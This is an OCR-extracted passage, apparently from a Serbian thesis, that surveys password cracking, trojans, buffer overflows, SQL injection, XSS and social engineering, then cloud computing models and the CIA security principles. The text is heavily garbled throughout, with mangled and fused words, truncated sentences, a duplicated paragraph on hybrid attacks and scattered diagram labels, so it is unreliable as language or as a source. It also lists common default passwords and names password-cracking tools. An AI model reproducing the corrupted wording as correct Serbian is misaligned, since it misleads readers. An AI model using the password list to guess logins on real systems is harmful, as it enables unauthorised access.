Scanner, koji funkcioniSe na Windows-u, i SAINT lam na Unix/Linux sistemima
ukljucuju¢i Mac OS X.

2.4.3.3Password krekeri (Password crackers)

Probijanje lozinki ne mora da podrazumeva naprediage, ali to je priino
zamoran proces. Ako meta ne zakfjunoguénost prijavljivanja posle nekoliko pokusaja,
napada mogu provesti beskotau kolicinu vremena pokuSavausvaku kombinaciju
alfanumertkih znakova. Samo je pitanje vremena i protokanago Sto napadaprovale
u sistem.

Najcege lozinke koje se koriste su : password, root, adtrator, admin, operator,
demo, test, webmaster, backup, guest, trial, mengerate, beta [ime_kompanije], ili
[poznati_korisnik].
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Tri osnovne vrste metoda probijanja lozinki mogwastmatizovati alatima :

Refnik - Fajl koji se sastoji od & Ako je lozinka jednostavna ¢emoze se
n&ci prili¢no brzo.
Hibrid - Hibridni napad radi kao napadc¢ngkom, ali dodaje jednostavne

brojeve ili simbole r&ma. Ovaj napad eksploatiSe slabost mnogih lozama-
su uobéajene rei sa brojevima ili simbolima na kraju.

Upotrebom brutalne sile (brute force)Predstavlja metod koji oduzima najviSe
vremena ali je sveobuhvatancirada se probije lozinka. Svaka kombinacija
karaktera se pokuSava dok se lozinka ne probije.

Neki uobtajeni Veb alati za otkrivanje lozinki su :

Brutus - Brutus je alat za probijanje lozinki koji moZea abavlja metod
koris¢enjem rénika metod kori&enjem brutalne siléime us lozinke skeajno
generisane. On moZe probiti viSe vrsti autentifiggc HTTP (osnovnu
autentifikaciju, HTML obrazac), POP3, FTP,SMB i iief

WebCracker - Predstavlja jednostavan alat koji uzima tekstealiste
korisnikkih imena i lozinki, | koristi ih kao &ik za sprovdenje osnovnog
pogaianja lozinki.

Obiwan - Veb alat koji radi preko proxyJa Korist&i liste reti, on
naizmenéno menja numetke i alfanumexike simbole sa rimskim karakterima
za generisanje mogih lozinki.

Hibrid - Hibridni napad radi kao napadc¢rgkom, ali dodaje jednostavne
brojeve ili simbole r&ma. Ovaj napad eksploatiSe slabost mnogih lozama-
su uobéajene rei sa brojevima ili simbolima niaaju.

Burp Intruder - Veb bezbednosni alat koji se mozZe koristiti pafigurisanje i
automatizovanje napada. Moze se koristiti ta @sjgr ranjivosti veb aplikacija
na napade buffer overflow,SQL injection i crosgstripting (Ove metodée
biti objasnjenje dalje u tekstu).

2.4.3.4Trojanski konji

Trojanski konj je program koji obavlja nepoznateeieljene funkcije. On moze da
bude u jednom ili viSe oblika :

Neovlagen program sadrZzan u legitimnom programu
Legitimni program koji je izmenjen ubacivanjem neaazivanog koda u njega

Svaki program koji izgleda kao da obavlja poZeljinuneophodnu funkciju ali
radi nesto drugo

Trojanski konji se mogu preneti nacumar putem nekoliko gaa, kroz email
priloge, freeware ili fiztke instalacije, laznim programima ili zarazenimt@ama. Kada
se korisnik prijavi na mreZu, trojanac se aktivirmpada dobija pristup sistemu.

% Predstavlja moginost da se uradi nesto bez zapravafiziraditi to
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Za razliku od crva, trojanski konj se @ipp ne samoreplicira. Tan tip napada
zavisi od vrste trojanskog konja, koji moze bitolkoji od sledéih :

= Trojanski konj koji omogéava daljinski pristup
= Trojanski konj koji snima lozinke ili pritisnutegtere
« Cisto destruktivan ili uskidva¢ usluga

Spisak trojanskih konja u "divljini" se brzo Siali nekoliko najranije nastalih i
dalje predstavljaju pretnju, a mnogi od njih slikao platforma za razvoj viSe smrtonosnih
varijacija.

Back Orifice 2000, poznatiji kao BO2K, je prethddiojanaca i iz njega je nastao
zn&ajan broj imitatora. Jednom instaliran na ciljnoatunaru ili serveru, BO2K daje
napadau potpunu kontrolu nad zrtvom.

BO2K ima mogudnost prikrivanja, née se pojaviti na listi procesa, a radi u potpuno
skrivenom rezimu. Back Orifice i njegove varijacge kreditirani sa najé@en brojem
napada na Windwos sisteme.

Jos jedan trojanski konj koji postoji duze vremeSebSeven, iako postaje sve
maniji problem. SubSeven je back-dBgerogram koji omogéava drugima da dobiju pun
pristup Windows sistemima kroz mrezu.

Drugi zna&ajni trojanci i Spijunski programi trenutno u "dimi" uklju ¢uju Rovbin,
Canary, Remacc.RCPro, Jgidol, IRC.mimic, i NetBBANS Internet Storm Cent&rje
dobar izvor informacija o0 najnovijim zlonamernimdwizima i aktivhostima.

2.4.3.5Preplavljenje Buffer-a (Buffer Overflows)

Nastaje kada program izdvaja speef blok memorije za nesto, ali onda pokuSava
da skladisti viSe podataka nego Sto blok moze dai.o@vi preplavljeni podaci se mogu
prepisati preko memorijskih podfja gde se nalaze informacije od presudnogajaaza
normalno izvrSenje programa. Dok preplavljeni bffenogu biti nuspojava loSe pisanog
koda, oni takde mogu da se aktiviraju namerno kako bi stvoripach

Ukoliko napada preplavi buffer onda mu to dozvoljava déta i izvrSi daljinsku
komandu, i omogtava mu neovlagen pristup sistemu. Da bi generisao preplavljenje,
napada mora da stvori tano odrelene podatke, jer stajni podaci retko proizvode Zeljeni
efekat.

Da bi ovakav napad uspeo, sistem koji je meta ne dantestira podatke i take
mora biti u stanju da izvrSava kod koji boravi udpoima ili segmentima podataka. Kada
se kod izvrSi, napadanoze da preuzme kontrolu nad napadnutim sistemom.

% Program kaoiji instaliraju virusi, crvi ili trojanskoniji i koji sluZi tretim licima da omogéava nesmetan i
neovlagen pristup réunaru
% http://isc.sans.org
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Tri najce&a nd&ina za testiranje ranjivosti na preplavljivanjefewfa su :

= Potraziti deklaracije stringova kao lokalnih prorjigih u funkcijama ili
metodama, i proverite prisustvo gramh provera u izvornom

= Proveriti nepravilne upotrebe ulazno/izlaznih pa#tatili string funkcija

= Dati aplikaciji velike kolEine podataka i proveriti za abnormlano ponaSanje

Programi kao StackGuard i ProPolice koriste t#elimetode koje sptavaju
pojave preplavljivanja buffer-a. Tale, skeneri ranjivosti kao Proventia mogu pdémo
zastiti protiv prelavljivanja.

Ranjivosti preplavljivanje buffer-a mogu da se #&ips manuelnom revizijom
koda kao i testiranjem. Ostale protiv mere obuhjuagguriranje C/C++ kompajlera i C
biblioteka na sigurnije verzije i onemagvanje izvrSenje stack-a u programu.

2.4.3.6 Napad ubacivanjem SQL-a (SQL Injection)

Predstavlja grupu napada ubrizgavanjem koji sggmvkada je jedan programski
jezik ugraten u drugi. Ubrizgavanje cilja podatke koji boraveazi podatka kroz zastitni
zid (firewall) kako bi se menjale SQL izjave i preuzeli podadbaze podataka ili izvrSile
komande. To se postize modifikovanjem parametataapiikacije.

Spre&avanje ranjivosti SQL ubrizgavanja podrazumeva enm bolje pisanih
programa i procedure upravljanja bazom podatakadeOsu neki koraci koje treba
preduzeti :

= Onemoguiti poruke o greSkama vérbose error messageskoje daju
infromacije napadau

= Zastititi SA lozinkd”, vrlo je uobkajeno da SA $ifra bude prazna
= Primeniti koncept najmanje privilegije

= Zastititi aplikaciju revizijom izvornog koda kakao e ograniila duzina ulaznih
podataka

%" Sifra koja nastaje tokom instalacije CAREWare+@dBtavlja Sifru za SQL Server bazu podataka
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2.4.3.7 Cross-Site Scripting (XSS)

Napadi na veb aplikacije stesto uspesni jer napad nije odmah pteme Jedan
takav napada iskodava cross-site scripting ranjivost. XSS ranjivoststaje usled
neuspeha Veb aplikacije da proveri podatke kojerigje korisnéki ulaz pre nego Sto ga
vrati klijentskom sistemu.

Napaddi mogu iskoristiti XSS pravlj@ zlonamerne URL Wniform Resource
Locator®) adrese da prevare korisnike da pritisnu na rje adrese omogavaju
napadau da se njegov kod, afio pisan u JavaScript ili VBScript programskom kezi
izvrSi u Zrtvinom pretrazivau.

Ako aplikacija prihvata samocekivani unos, onda ranjivost od XSS napada moze
biti znatajno smanjena. Mnoge ranjivosti Veb aplikacija segm svesti ha minimum
pridrzavajéi se odgovarajtih zahteva za dizajn i kodiranje, i spraemjem bezbednosti u
toku paetnog razvoja tokom zivotnog ciklusa aplikacijekdde, ne aplikacije se ne treba
oslanjati na podatke dobijene sa klijent straneghote za kritine procese tokom procesa
razvoja aplikacije, treba koristiti Sifrovanu sesikao 5to je SSL (Secure Socket Ldj)er
bez skrivenih polja.

2.4.3.8 Socijalni inzenjering

Socijalni inZenjering opisuje sticanje osetljivimfoarmacija ili neprilikadnih
pristupnih privilegija od autsajdera, manipuidjude. On iskorigava ljudsku stranu
ratunarstva, tako Sto prevari ljude da pruze dragodefoemacije ili omogudava pristup
tim informacijama.

On predstavlja najtezi oblik napada za odbranu,ngrmoze se samo spite
hardverom ili softverom. Kompanija moze imati sverogese potrebne za
aufentifikaciju,VPN-ove i zaStitne zidove, ali ip&iti ranjiva na napade koji eksploatiSu
ljudski element.

Socijalni inZzenjering se moze podeliti u dve vrsia, one zasnovane na ljudima,
odnosno interakciju izna@ ljudi, ili na one zasnovane na&uaarima, koristé softver koji
automatizuje proces prikupljanja informacija.

Uobicajene tehnike koje koristi uljez da dobije biloidka pristup ili pristup
sistemu su slede

= Tvrdei ovlagenja ili povla&enjem ranga

= Tvrdeli da imaju ovlaéenje, mozda podrzan sa laznom identifikacijom, Kako
uSao u objekat ili sistem

» PokuSavajti da zastrasSi pojedinca u pruzanju informacija

= Koristeti pozitivnu komentare kako bi primorao metu da oméogristup ili
informacije za pristup sistemu

% |skaz nizova karaktera koji se koriste za locieamgkog resursa na internetu.
% Predstavlja sigurnosni protokol komuniciranja minetu, posebno je prisutan u elektronskoj tngjcive-
bankarstvu
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Neki primeri uspesnih napada socijalnog inzenjexrioguhvataju slede:

Elektronska posta poslata zaposlenima od najaakigi trazi njihove lozinke za
potvrdu unutar baze podataka nakon Sto je doSlorédnog upada

Elektronska posSta koja trazi lozinke, jer posaoartmti zavrSen preko vikenda

E-mejl ili telefonski poziv od napada koji imitira sluzbenika koji sprovodi
istagu za organizaciju i zahteva lozinke za istragu

Nepropisno davanje medicinskih informacija pojedire koji se predstavljaju
kao medicinsko osoblje tradigpodatke
Tehniar ra&unara koji ubedi korisnika da je hard disk neispravi

nepopravljiv, i instalira novi hard disk, uzimajustari hard disk, vadi
informacije, i prodaje ih konkurentu ili stranopdi

Jedina prava odbrana od napada socijalnog inZeggeijie bezbednosna politika
informacija koja se bavi ovakvim napadima i edukgesnike o ovim vrstama napada.
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2.5 Regresiono testiranje

Kako se softver razvija, dodaju se nove funkcipoatoj€e funkcije se modifikuju.
Ponekad ove nove karakteristike i izmene ,slorpestojée funkcionalnosti - to jest,
izazivaju sl¢ajna oStéenja postojéh softverskih komponenti.

Prema IEEE Software Engineering Body of Knowled§&E610.12-90),
regresiono testiranje je ,selektivno ponovno tesije sistema ili komponente radi provere
da modifikacije nisu izazvale nezeljene eféki@egresiono testiranje moze da ukaze na to
da softver koji je prethodno polozio test viSe aei.rProblematian kod onda moze biti
identifikovan i ,popravljef kako bi se povratila izgubljena funkcionalnost.ddgm,
kako softver evoluira, greSka koja je ranije ,pofjend’ moze ponovo da se javi. Ovo
ponovno javljanje greSaka je normalno i javlja Begnekoliko razloga, ukljiujuci
sledee :

= LoSa praksa revizije - popravka nije pravilno dolamovana ili je pomenuta
promena sléajno obrnuta

= Lomljivost softvera - ako popravka za gednu greSku nije pravilno reSila
problem, ona sa daljim razvojem softvera moze iaazwove greske

= Ponavljanje greSaka - Problengaii kod je ponekad kopiran iz jedne oblasti
softvera u drugi, ili kada se radi redizajn fung&cijste greske se prave kao i u
originalnoj implementaciji funkcije

Plan za regresioni test sigurnosti treba biti r@zvii da sadrzi u sebi scenarije
zloupotrebe i scenarije napada. Raniji testovi mdumtii modifikovani na sve nove
slicajeve zloupotrebe i scenarije napada koji su pgesiiorealnim nadapadina koji su se
pojavili posto je softver posledniji put testiran.

Prema IEEE zajednici, testiranje se definiSe kaktiyaost koja se obavlja za
ocenjivanje kvaliteta proizvoda, kao i za njegowvab@ljSanje, identifikujti defekte i
probleme. Softver za testiranje se sastoji od ditlenverifikacije ponaSanja softvera na
konaan skup testova, pogodno izabranih iz ¢obi beskonénog domena, protiv
ocekivanog softvera

Testiranje bezbednosti softvera obuhvata testirkngditeta kroz funkcionalno
okruzenje, kao i ispitivanje kvarova. Testovi peaefje, fuzzing i simulacioni testovi
upotpunjeni sa sprodenjem skeniranja cloud sistema pruzaju dodatne akattestiranje
bezbednosti softvera.
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3 Teorijske osnove istrazivanja

Ideja tehnologije Cloud compug-a je priléno jednostavna kao takva ondonosi
nove moguanosti bez doctnih ulaganja. Kakoistraziv&i Sirom sveta imaju razlita
definisanja cloud computia, joS uvek ne postoji jedinstverdpgovorena definici.
Nacionalni Institut za Standard Tehnologiju (NIST) definise cloud mo® kao "cloud
computing model omogucava sveprisutni, zgodan, na zahtevorf deman) pristup
zajednékim ratunarskim resursima (npr. mreza, server, skladisiagaka, aplikacija
usluga) koji mogu brzo i efikasno i snabdeveni uz minimalan napor upravljanje
interakciju od strane provajdera servisa. Ovaj rhadieud-a se sastoji od pet vazr
karakteristika, tri cloud modela uslug&egitiri cloud modela raspate/anje”

Zna&aj cloud computin-a i njegovo usvajarj se moze najbolje opisati kr
njegove osnovne karakteristike, isporuku i primekako Klijenti mogu da koriste o\
usluge, i kako da ih obezbedi bezbedno. Kao Stgoje navedeno cloud computing
sastoji od tri modela isporukegtiri modela raspodivanja i pet karakteristika. Ovi mode
I karakteristike leze na vrhu jeog drugogg¢ime se formira oblak.

3.1 Modeli Cloud Computing-a

Cloud computing se sastoji @dtiri tipa razvojnih mode**:

1. Javni oblak (Slika 3.1.- Model koji predstavlja Cloud computing u prav
smislu jeste javni ili eksterni oblak. Oblak se imagzavnim kada servisi koji s
zahtevani se pruzaju putem mr koja je otvorena za kokiénje- potrebni ili
zahtevani resursi se dodeljuju dingkmiu vidu Web servisa putem Interne

Internet

.

|  Preduzece |
(Korisnik oblaka) |
|
|

———

VPN

Privatni oblak

0 Guidelines on Security and Privacy in Public Cl@amputing, NIST Special Publication ¢-144
“I Hai Jin, Shadi Ibrahim, Tim Bell, Wei Gao, Dachu#mang, Song Wu, Cloud Types and Services
Appear in the Handbook of Cloud Computing, Spril
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2. Privatni oblak (Slika 3.2.- Predstavlja infrastrukturu koja postoji iskijuo za
potrebe jedne organizacije, bez obzirai je kontrolisana interno ili od strat
trece strane. Arhitektura je za&na iza firewa-a organizacije. Svrha ovakv
modela jeste da pruzi potpunu kontrolu nad reswasiservisime

VPN
konekcija\

AN
Internet

Internet
\ saobraéaj
izvan VPN

Lokalna mreza
klijenta

VPN

Gatew
Gateway %)

klijenta

m
Amazon EC2
pristupna tac

slika 3:2 Privatni oblak

3. Hibridni oblak (Slika 3.3.)- Predstavlja kombinaciju dva ili viSe obla
(privatni, javni ili zajedniki) koji ostaju posebni entiteti ali su vez:
medusobno, pruzajii prednosti od svakog modela clca. To omogtava
kompaniji da tajne podatke @ ¢uvane u privatnom oblaku a ostale podatl
javnom oblaku.

Javni/
eksterni

On premises/ intemni Off oremises/ ekstemi

slika 3:3 Hibridni oblak
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4. Zajedniki oblak - Infrastruktura je podeljena izthenekoliko organizacija sa
zajednékim interesima (bezbednost, cilj, politika, itdHlibridnim oblakom
moze upravljati organizacija ili neko teelice, da li to bilo interno ili eksterno.
Cena sprovéenja ovog modela oblaka je jeftinija nego privathlak, tako da
je sprovedena osnovna ide cloud computing-a - asted

Infrastrukturom
upravlja
Privatni Organizacija
Javni Provajder usluga
Hibridni I organizacya 1
provajder usluga
Zajednicki | Provajder usluga

Infrastruktura je
u vlasnistvu

Organizacije ili
provajdera usluga

Provajder usluga

I organizacija i
provajder usluga

Organizacije ili
provajdera usluga

Infrastruktura je
locirana

U objektima
ojrganizacijc ili izvan
objekata organizacije

Izvan objekata
organizacije

I'u objektima i izvan
objekata organizacije

U objektima
organizacije ili izvan
objekata organizacije

slika 3:4 Razlike u razvojim modelima

3.2 Tipovi servisa u Cloud computing-u

Dostupna i mogu
da je koriste

Ovlaséeni
korisnici

Korisnici bez
ovla$¢enja

I ovlasceni 1

korisnici bez
ovlasc¢enja

Ovlaséeni
korisnici

Kao Sto je navedeno cloud computing se sastojirodnbdela isporukegetiri
modela rasporivanja i pet karakteristika. Ovi modeli i karaksgike leze na vrhu jednog
drugog,cime se formira oblak.

Tri modela isporuke cloud computing reSenja su :

= Infrastruktura kao Servis (laaS)

» Platforma kao Servis (PaaS)

= Softver kao Servis (SaaS)

Infrastruktura kao Servis kao Sto ime sugeriSe, obedhg infrastrukturu ili
resurse, fizike ili (¢e&e) virtuelne koji se mogu definisati kao virtueimasine na zahtev,
gde korisnici imaju koristi od umrezavanja infragturnih objekata, kanarske usluge i
skladiStenja podataka. Korisnici nemaju potpunu tkadn nad resursima, ali imaju

kontrolu

nad operativnim sistemima,

komponentama mrezadst firewal).
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Platforma kao Servis obezbduje platformu koja oldho ukljuwuje operativni
sistem, programski jezik, izvrSno okruzenje, bapdagtaka, web server i &ho. Dakle,
Paas je izgrden na vrhu laaS-a, odakle krajnji korisnici mogukaaiste svoje aplikacije
koriste&i resurse pruzaoca usluga. Oni nemaju kontroluinfdstrukturom, operativnim
sistemima ili skladiStenjem ali imaju kontrolu nagblikacijom i ponekad osnovnim
konfiguracijama okruzenja u kome se njihova aplikacalazi.

Softver kao Servige izgraten na vrhu Paas-a, on obediye pristup aplikativhog
softvera koji s&esto nazivaju softveri na zahtev (on-demand). Kdtise mora da brine o
instalaciji, podeSavanju i denju aplikacije. Pruzalac uslugée W&initi to umesto
korisnika. Korisnik samo mora da plati i koristiugeé preko nekog web klijenta.Ovi
modeli isporuke borave u drugom sloju oblaka.

Definicija NIST-a naglaSava fleksibilnost i praktost oblaka, koji omodava
korisnicima da iskoriste &anarske resurse i aplikacije koje oni ne poseduju z
unaprdivanje svojih strateskih ciljeva. Ona talko podrzava tehnolosSku infrastrukturu
tako da se moZe lako upravljati oblakom bez potredese nabave novi ili proSire dve
postoj&€i elementi kompleksne in-house infrastrukture.

Kao Sto smo ranije naveli, u pogledu modela raspeseja, cloud computing
platforma uklj@uje javni oblak, privatni oblak, oblak zajednicénibridni oblak. Javni
oblaci su pretezno u vlasniStvu velikih organizadijusluge ovakvog tipa oblaka su
dostupni javnosti ili Sirokoj industrijskoj grupgci Privatni oblak je u iskljgivom
vlasnisStvu jedne organizacije i dostupan je za delra grupu, dok se oblak zajednice deli i
upravlja od strane oditene organizacije, a podrsku mu pruza ddna zajednica koja ima
zajednéke zabrinutosti. Hibridni oblak se sastoji od diraviSe oblaka (privatni, javni i
oblak zajednicd¥. Ovi modeli za raspodévanja borave na téem sloju oblaka.

Glavne karakteristike svakog oblaka su:

= Nezavisnost resursa od lokacije

= Udruzivanje

= Samousluga na zahtev (on-demand self-service)
* Prilagodivost

= Transparentni pristup mrezi

= Redovan servis

Oni se nalaze na samom vrhu oblaka. Slika 3.5.spaglja logénu konstrukciju
cloud computing arhitetkure.

“2NIST definition of Cloud Computinfttp://csrc.nist.gov/publications/nistpubs/800-1F300-145.pdf
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Broad Rapid Elasticit Measured On-Demand
Network Access P y Service Self-Service

Essential
i Characteristics
Resource Pooling
Software as a Platform as a Infrastructure as a ig;;‘:f:
Service (SaaS) Service (PaaS) Service (1aaS)
Deployment
Models

slika 3:5 Logi¢ni model oblaka

Razumevanje zavisnosti i odnosa izimenodela raspodévanja i usluga (servisa) cloud
computinga je od kljgne vaznosti za razumevanje bezbednosnih rizikanirkte oblaka.
Sa Paas i SaaS izgemih na vrhu laaS, kao Sto je opisano u NIST mqdehslelene
sposobnosti uvode nova bezbednosna pitanja i rizikesvim modelima oblaka profil
rizika za podatke i bezbednost sistema se merga, je bitan faktor u odttivanju koji
model odgovara korisniku. Brzina usvajanja zaviditoga koliko se moZe uspostaviti
sigurnost i poverenje u novim modelima oblaka.

3.3 Prednosti i mane Cloud computing-a

Nedavna pojava tanarstva u oblaku je dra&tio promenila percepciju poslovanja,
isporuku softvera i usluga. Projektovan kao evwehitikorak, sledé& tranziciju iz
mejnfrejm r&unara do klijent/server modela, cloud computing hMatia elemente iz
mreznog raunarstva, i autonomnogdaanarstva, u inovativni razvoj arhitekture. Takojela
lako zakljwiti da cloud computing donosi neke prednosti,dmekojima su mozda i
najzn&ajnije efikasnost i usteda.

Glavne prednosti tehnologije cloud-a su steffe

3 David Lilburn Watson, Hey - Get Off My Cloud!, GialSecurity, Safety and Sustainabilty, 5th
International Conference, ICGS3 2009 London, Prdicess, pp:224-232, UK, September 2009
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= Smanjeni troSkowv Po mnogima najvaznija osobina. Ono Sto oblakgoéava
jeste uSteda vremena, novca i ljudstva. Upravo redgiavlja teznju svih
kompanija. Oblak predstavlja o¢kin izbor za preduza koja su tek na getku
svog razvoja, jer uz relativno mala ulaganja dobigve Zeljene servise, a sa
razvojem svog poslovanja uz minimalne napore mogusKaliraju svoje
zahteve na oblaku.

= Skalabilnost - Predstavlja veoma bitnu karakteristiku cloud potng-a.
Prednost aplikacija koje se na nalaze na oblakuunsegjako brzo prilagoditi
skali opteréenja bez uticaja na performanse i nivo usluga.

* Fleksibilnost- Mogutnost iznajmljivanja umesto kupovine i implementacij
arhitekture predstavlja veliku fleksibilnost u tétkom smislu. Oblak
omoguwava mnogima koji nisu u mogdumosti da imaju infrastrukturu koja
najbolje odgovara njihovom poslovanju.

= Portabilnost- Kompanije koje posluju viSe zemalja imaju zapaosl! koji su na
terenu, daleko od sediSta kompanije. Potreba zavlinjem kompanijom i
praenje njenog rada bez fékiog prisustva predstavlja veliku prednost cloud
computing tehnologije.

lako cloud computing pruza veliki broj prednosinovacija, kao i svaka relativho
nova tehnologija i ona sa sobom nosi velike rizikako nijedan novi koncept nije savrsen,
tako i ova tehnologija ima svoje nedostatke. Glavame oblaka su:

= Zavisnost Mozda i najkriténija stvar tehnologije oblaka jeste to da kompanije
koje koriste usluge javnog oblaka zavise od prcgalasluga. U skaju
nastanka problema kod pruzalaca usluga, kompanojg lkoristi servise i@
imati na raspolaganju servise koji su joj neopharhiposlovanje. Upravo ta
zavisnost predstavlja mozda i najuenanu cloud computing-a.

= Sigurnost- Od pojave informacionih tehnologija najvaznifaas je bilacuvanje
bitnih podataka bezbednim. Ta bezbednost se davqaiianje jer tehnologija
oblaka omogeéava pristup bitnim podacima putem Interneta, a mema
ponaSanje korisnika moze dovesti do kompromitovéezbednosti podataka.
Takade, prodavac usluga mora garantovati bezbednostatpost podataka.

= Dostupnost nije zagarantovana.
= Privatnost

» TroSkovi na mes@om nivou
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3.4 Objektivi zastite informacije u cloud-u

Uprkos prednostima, kao Sto su usluga na zahtedéamand), plati dok ides (pay-
as-you-go), ova brza tranzicija ka cloud-u, izaavj@ zabrinutost za kriino pitanje za
uspeh informacionih sistema, komunikacione i infacione bezbednosti. Iz bezbednosne
perspektive, veliki broj rizika i izazova su nastald ovog preseljenja u cloud,
pogorSavajdi efikasnost tradicionalnih mehanizama zastite.

Razvijanje bezbednog softvera se zasniva na pripencipa bezbednog dizajna
softvera koji ¢ine sustinsku osnovu osiguranja da je softver badene Softversko
osiguranje ima mnogo definicija, ali najvaznijerggzumeti koncept. lzvestaj o Osiguranju
Bezbednosti Softveta definiSe osiguranje softvera kao "osnova za sjicapravdanog
uverenja dae softver dosledno izloZiti sve osobine potrebnese@bezbedi da softver, u
operaciji, nastavi da obavlja svoje funkcije uprkpasustvu namernih greSaka. U
prakticnom smislu, takav softver mora biti u stanju dadepre véini napada, da toleriSe
Sto vei broj napada kojima se ne moze odupreti, da¢sgieenje Stete | da se oporavi do
normalnog nivoa u Sto kéam roku nakon ikakvih napada kojima nije u stangu s
odupre ili tolerise".

Centar za Podatke i Analizu Softvefan@l. The Data and Analysis Center for
Software) zahteva da softver mora ispoljiti stexlé&i osobine kako bi bio razmotren kao
siguran:

* PouzdanostSoftver koji se izvrSava predvidljivo i radi ispreo pod razititim
uslovima, uklj@ujuci i kada je pod napadom ili radi na zlonamernom aonu

= Nacelo pouzdanosti Softver koji sadrzi minimalan broj ranjivostii ihe
ranjivosti ili slabosti koje bi mogle sabotirati ygadanost softvera. On tak®
mora da bude otporan na zlonamernu logiku

= Prezivljavanje (Otpornost) Softver koji je otporan ili tolerantan na napalile
ima sposobnost da se oporavi Sto pre sa Sto miatgersogde

Sedam komplementarnih principa koji podrzavaju igat informacija su
poverljivost, integritet, dostupnost, autentifijaciautorizacija, revizija i odgovornost. Ovi
koncepti su saZeti u sledm odeljcima.

3.4.1 Poverljivost, integritet i dostupnost

Poverljivost, integritet i dostupnost ponekad pdgin&ao CIA (Confidentiality,
integrity, availability) trijada bezbednosti infoationog sistema predstavljaju vazne
stubove sigurnosti informacije u oblaku. Sve berlosde kontrole informacija, pretnje,
ranjivosti i bezbednosni procesi su oblast zanim&1A trijade.

# Information Assurance Technology Analysis CenterT@&), Data and Analysis Center for Software (DACS),
Software Security Assurance, State-of-the-Art Re(®@QAR), July 31, 2007.
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3.4.1.1 Poverljivost

Poverljivost se odnosi na spewanje namernog ili nenamernog otkrivanja
informacija. Gubitak poverljivosti se moze dogodifa viSe n&na. Na primer, gubitak
poverljivosti moze biti namerno otkrivanje privdininformacija neke kompanije ili kroz
neposStovanje mreznih prava. Poverljivost u cloudtesnima odnosi se na oblasti
intelektualne svojine, tajne kanale, analizu sa@djea enkripciju, i zakljoke :

Prava intelektualne svojine - Intelektualna svojiobuhvata pronalaske i
umetntke radove. Prava na intelektualnu svojinu su pekras zakonima o
autorskim pravima, koji Stite kreacije uma, i pagekoji su odobreni kao novi
pronalasci

Tajni kanali - Tajni kanal je neovlééni ili nenamerni komunikacioni kanal koji
omoguiava razmenu informacija. Tajni kanali se mogu gog&tioz tempirano
slanje poruka ili neodgovardajm koris¢enjem mehanizama za skladiStenje

Analiza saobréaja - predstavlja oblik krSenja poverljivosti keg moze posti

analizom zvuka, stopa, izvora i odrediSta sa@djea poruka,cak i ako je
kodiran. Povéana aktivnost slanja poruka i visok porast sagd)eamoze da
ukaze na deSavanje velikog ddgm. Protivmere za analizu saoclag

obuhvataju odrzavanje konstantne stope s&afmai prikrivanje izvorne i
odredisne lokacije u saoltegu

Enkripcija - ona podrazumeva kodiranje poruka, tdaame mogu bitéitane od
strane neovl&&nog lica, cak i ako su presreli poruke. Ke&ina napora
obaveznog za desSifrovanje poruke je funkcijéina klju¢a za Sifrovanje i
robusnosti i kvaliteta algoritma za Sifrovanje

Zakljucivanje/izvaienje - ono je okno povezano sa obezimnjem baza
podataka. Zakljtivanje je sposobnost entiteta da koristi i upravlja
informacijom zaStienom na jednom nivou bezbednosti kako bi otkrila
informacije koje su zagtne na visem nivou bezbednosti

3.4.1.2 Integritet

Integritet je garancija da je poslata poruka ong ke primljena i da poruka nije
namerno ili nenamerno izmenjena. Do gubitka intetai moZe da zbog namernog
napada koji menja informaciju #e&e, nenamerno (podaci su &jno promenjeni od
strane korisnika).

Koncept integriteta informacija u cloud-u zahtewase ispune sleda tri principa:

Promene nad podacima se ne donose od strane rismitaBca ili procesa

Neovlagene modifikacije nisu napravljenje nad podacimatane oviag&nog
osoblja ili procesa

Podaci su interno i eksterno dosledni, odnosno ragofe informacije su
dosledne méu svim podentitetima i sa realnim svetom, ekstersagacijom
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3.4.1.3Dostupnost

Odnosi se na elemente koji obedty@ pouzdan i pravovremen pristup podacima ili
resursima u oblaku. Ona obe@bg konekciju kada je potrebna, dozvoljavaju
autorizovanim korisnicima da pristupe mrezi ilitesrau. Dostupnost takie garantuje da
sistemi funkcioniSu pravilno kada je to potrebnord® toga, ovaj koncept garantuje da su
servisi koji sluZe bezbednosti oblaka u ispravndamjs. DoS°® napad je primer pretnji
dostupnosti.

Obrnuto poverljivosti, integritetu 1 dostupnosti pbelodanjivanje, alteracija i
unistavanje (DAD®)

Dodatni faktori koji direktno utiu na osiguranje oblaka ukfuju autentifikacija,
autorizacija, privatnost, revizija i odgovornoshaoksto je prikazano u slefle odeljcima.

3.4.1.4 Autentifikacija

Predstavlja testiranje ili pomirenje dokaza o ittetd korisnika. Ona uspostavlja
identitet korisnika i osigurava da su korisniciastvo oni za koje tvrde da jesu. Na primer,
korisnik predstavlja svoj identitet (korigki ID) login ekranu i zatim mora da obezbedi
lozinku. Kompjuterski sistem potduje verodostojnost korisnika proverom da li lozinka
odgovara pojedincu koji je predstavio svoj ID.

3.4.1.5Autorizacija

Ona se odnosi na prava i privilegije dodeljene g¢ioeu ili procesu koje
omoguavaju pristup ré&unarskim resursima i informacionim sredstvima. Kasia
uspostavljeni identitet i autentifikacija korisnjkanivoi ovlagenja utvduju obim
sistemskih prava koje korisnik ima.

3.4.1.6 Privatnost

Predstavlja nivo zastite poverljivosti i privatndsbrisnika u sistemu. Ovo jgesta
komponenta bezbednosnih kontrola. Privatnost nengiajie samo poverljivost vaznih
podataka, vei garantuje privatnost tih podataka prilikom ujetie.

4 Denial of Service napad je poku$aj nagadda wini racunar nedostupnim korisnicima kojima je on
namenjen, on onesposobljava mrezwunar ili neki drugi deo infrastrukture na taj¢imada ih drugi
korisnici ne mogu Koristiti

“6 DAD - disclosure, alteration and destruction
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3.4.1.7Revizija

Za odrzavanje operativne sigurnosti, organizacgeiske dve osnovne metode : sistem
revizije i nadzora. Ove metode se mogu koristitstdne kupca, provajdera cloud sistema,
ili oba, u zavisnosti od arhitekture i raspdivanja.

* Revizija sistema je jednokratni ili periédi dogaiaj za procenu bezbednosti

= Nadzor se odnosi na teda aktivnosti koji ispituje ili sistem ili korisnikkao
Sto su otkrivanje upada

Revizori informacionih tehnologija stesto podeljeni u dve grupe : interne |
eksterne. Interni revizori ofno rade za datu organizaciju, a spoljni revizori Blksterni
revizori sucesto ovlagene javne r&unovaie ili profesionalci koji su angazovani da
obavljaju nezavisnu reviziju finansijskih izveStapaganizacije. Interni revizori otmo
imaju mnogo Siri mandat od eksternih revizora, k4o su provera uskianosti i
standarda, revizija ekonodmosti, i preporuka odgovardji kontrola.

IT revizori tipicno vrSe reviziju sledgh funkcija:
= Sistemskih i transakcionih kontrola

= Standarda razvojnih sistema

= Backup kontrole

* Procedure biblioteka podataka

